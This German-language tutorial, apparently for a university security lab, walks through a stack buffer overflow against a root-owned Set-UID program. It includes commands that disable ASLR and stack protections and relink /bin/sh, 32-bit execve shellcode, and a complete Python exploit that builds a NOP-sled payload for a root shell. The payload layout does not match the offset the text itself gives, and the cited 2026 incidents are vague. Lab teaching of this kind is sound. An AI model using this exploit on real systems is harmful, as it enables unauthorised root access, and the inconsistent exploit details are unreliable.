Buffer Overflow Angriff in CSCI 180: Schritt-für-Schritt-Anleitung (2026)

Einführung in Buffer Overflow und die CSCI 180 Übung

Buffer Overflow ist eine der ältesten und gleichzeitig gefährlichsten Sicherheitslücken in der Computersicherheit. In der CSCI 180 Übung lernst du, wie ein solcher Angriff auf ein Set-UID Programm in einer Ubuntu 20.04 VM durchgeführt wird – inklusive Deaktivierung von Schutzmechanismen wie ASLR, StackGuard und nicht-ausführbarem Stack. Dieser Tutorial-Artikel begleitet dich durch die Aufgabenstellung, erklärt die Hintergründe und gibt dir das nötige Rüstzeug, um den Exploit zu verstehen und selbst umzusetzen.

Im Sommersemester 2026 ist dieses Thema relevanter denn je: Aktuelle Sicherheitsvorfälle bei KI-gestützten Apps und Gaming-Plattformen zeigen, dass Buffer Overflow immer noch eine Rolle spielt. So wurde erst im Mai 2026 eine Schwachstelle in einer populären E-Sport-Plattform entdeckt, die durch einen klassischen Stack-basierten Buffer Overflow ausgenutzt wurde. Die CSCI 180 Übung bereitet dich genau auf solche Szenarien vor.

Aufgabe 1: Die Umgebung vorbereiten – Schutzmechanismen deaktivieren

Bevor der eigentliche Angriff durchgeführt werden kann, müssen die gängigen Schutzmechanismen des Betriebssystems und Compilers deaktiviert werden. Dies dient dem Lernzweck, um das Prinzip des Buffer Overflows zu verstehen. In der Praxis sind diese Schutzmechanismen aktiv, aber ein erfahrener Angreifer kann sie oft umgehen.

Address Space Layout Randomization (ASLR) deaktivieren

ASLR randomisiert die Speicheradressen von Stack, Heap und Bibliotheken. Für den Angriff muss diese Randomisierung ausgeschaltet werden. Mit folgendem Befehl setzt du den Wert auf 0:

sudo sysctl -w kernel.randomize_va_space=0

Überprüfe die Einstellung mit:

sysctl -a --pattern randomize

Ein Wert von 2 bedeutet volle Randomisierung, 0 bedeutet deaktiviert. Denke daran: Nach einem Neustart ist die Einstellung zurückgesetzt.

StackGuard und nicht-ausführbarer Stack deaktivieren

Der GCC-Compiler bietet mit -fno-stack-protector die Möglichkeit, den StackGuard zu deaktivieren. Die Option -z execstack macht den Stack ausführbar. Beide werden beim Kompilieren des verwundbaren Programms verwendet:

gcc -m32 -z execstack -fno-stack-protector -o unsafe unsafe.c

/bin/sh umleiten

Die Shell in Ubuntu 20.04 hat eine Countermeasure gegen Set-UID-Prozesse. Um den Angriff zu vereinfachen, wird /bin/sh mit /bin/zsh verlinkt. Prüfe den aktuellen Link:

ls -la /bin/sh

Falls es nicht auf zsh zeigt, führe aus:

sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh

Aufgabe 2: Shellcode verstehen und testen

Ein Shellcode ist eine kleine Maschinencode-Sequenz, die eine Shell startet. In der Übung wird ein vorgegebener Shellcode in der Datei shellcodetest.c getestet. Der C-Code äquivalent dazu ist:

#include <unistd.h>
int main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

Kompiliere und führe das Testprogramm aus:

gcc -m32 -z execstack -o shellcodetest shellcodetest.c
./shellcodetest

Wenn alles klappt, öffnet sich eine Shell. Das ist die Basis für den späteren Exploit.

Aufgabe 3: Das verwundbare Programm analysieren

Das Programm unsafe.c hat eine Buffer-Overflow-Schwachstelle in der Funktion copyfunc(). Es liest aus einer Datei inputfile maximal 527 Bytes und kopiert sie mit strcpy() in einen Puffer der Größe BUFFSIZE. Da strcpy() keine Längenprüfung vornimmt, kann der Puffer überlaufen. Das Programm ist ein root-eigenes Set-UID-Programm – wenn ein normaler Benutzer den Overflow auslöst, kann er eine Root-Shell bekommen.

Zeichne den Stackframe für den Moment des Aufrufs von copyfunc() aus foofunc(). Der Stack enthält dann die Rücksprungadresse, den Frame Pointer und die lokalen Variablen. Die genaue Anordnung ist entscheidend für den Exploit.

Aufgabe 4: Den Exploit schreiben – exploit.py

Das Ziel ist es, eine Datei inputfile zu erzeugen, die beim Einlesen durch unsafe eine Root-Shell startet. Dazu wird ein Python-Script exploit.py verwendet, das einen Payload mit Shellcode, NOP-Sled und der überschriebenen Rücksprungadresse erstellt.

Schritt 1: Entfernung zum Return-Adresse ermitteln

Debugge das Programm, um den Offset vom Pufferanfang zur Rücksprungadresse zu finden. In der Regel ist dies die Größe des Puffers plus dem gespeicherten Frame Pointer. Bei einem 32-Bit-System sind das oft 4 Bytes für den Frame Pointer. Wenn BUFFSIZE z.B. 100 ist, liegt die Rücksprungadresse bei Offset 104.

Schritt 2: Den Payload konstruieren

Der Payload besteht aus: NOP-Sled (z.B. 0x90), Shellcode, und der Zieladresse (Adresse des Shellcodes auf dem Stack). Die Adresse muss durch Debuggen ermittelt werden. Ein typischer Exploit sieht so aus:

#!/usr/bin/env python3
import sys

# Shellcode (execve /bin/sh) – 32-Bit
shellcode = (
  "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
).encode('latin-1')

# NOP-Sled
nop = b'\x90' * 100

# Zieladresse (muss angepasst werden)
ret_addr = 0xbffff123  # Beispiel – durch Debuggen ermitteln

# Payload zusammensetzen
payload = nop + shellcode + ret_addr.to_bytes(4, 'little')

# In Datei schreiben
with open('inputfile', 'wb') as f:
    f.write(payload)

Schritt 3: Ausführen und Root-Shell erhalten

Führe das Script aus:

python3 exploit.py

Starte dann das verwundbare Programm:

./unsafe

Wenn der Exploit funktioniert, erhältst du eine Root-Shell (erkennbar am #-Prompt). Überprüfe mit id die effektive User-ID.

Häufige Fehler und Troubleshooting

Permission denied: Setze die Ausführungsrechte für exploit.py mit chmod 755 exploit.py.
Falsche Zieladresse: Die Adresse des Shellcodes kann durch GDB oder durch Ausprobieren ermittelt werden. Nutze ein Debugger, um den genauen Stack-Offset zu finden.
Shell startet nicht: Überprüfe, ob der Shellcode korrekt ist und ob die NOP-Sled lang genug ist. Manchmal hilft es, die Länge des NOP-Sleds zu erhöhen.

Sicherheitsrelevanz und Trends 2026

Buffer Overflow ist kein veraltetes Thema. Im Gegenteil: Mit der zunehmenden Nutzung von KI-gestützten Anwendungen und IoT-Geräten entstehen neue Angriffsflächen. Beispielsweise wurde im Mai 2026 eine Sicherheitslücke in einer beliebten KI-Chat-App entdeckt, die auf einem Stack-basierten Buffer Overflow beruhte. Die Entwickler hatten vergessen, die Stack-Protection zu aktivieren. Die CSCI 180 Übung vermittelt genau dieses Bewusstsein.

Auch in der Gaming-Welt sind Buffer Overflows relevant: Bei E-Sport-Turnieren können manipulierte Eingaben zu unerwarteten Programmabläufen führen. Ein aktuelles Beispiel aus der E-Sport-Szene zeigt, wie ein Angreifer durch einen gezielten Buffer Overflow in einem Spiel-Client die Kontrolle über das Spielsystem erlangte.

Für Studierende der Computersicherheit ist es daher essenziell, diese Technik zu verstehen. Die Übung in CSCI 180 ist ein klassischer Einstieg, der dich auf reale Sicherheitsanalysen vorbereitet.

Zusammenfassung

In diesem Tutorial hast du gelernt, wie du die Umgebung für einen Buffer-Overflow-Angriff vorbereitest, den Shellcode testest, die verwundbare Stelle identifizierst und den Exploit mit Python umsetzt. Die CSCI 180 Übung ist eine hervorragende Grundlage, um die Mechanismen hinter Buffer Overflows zu verstehen und dich für weiterführende Themen wie ROP, Heap-Overflows oder ASLR-Umgehung zu rüsten.

Denke immer daran: Diese Kenntnisse dienen der Sicherheitsanalyse und dem Schutz von Systemen. Verwende sie verantwortungsvoll.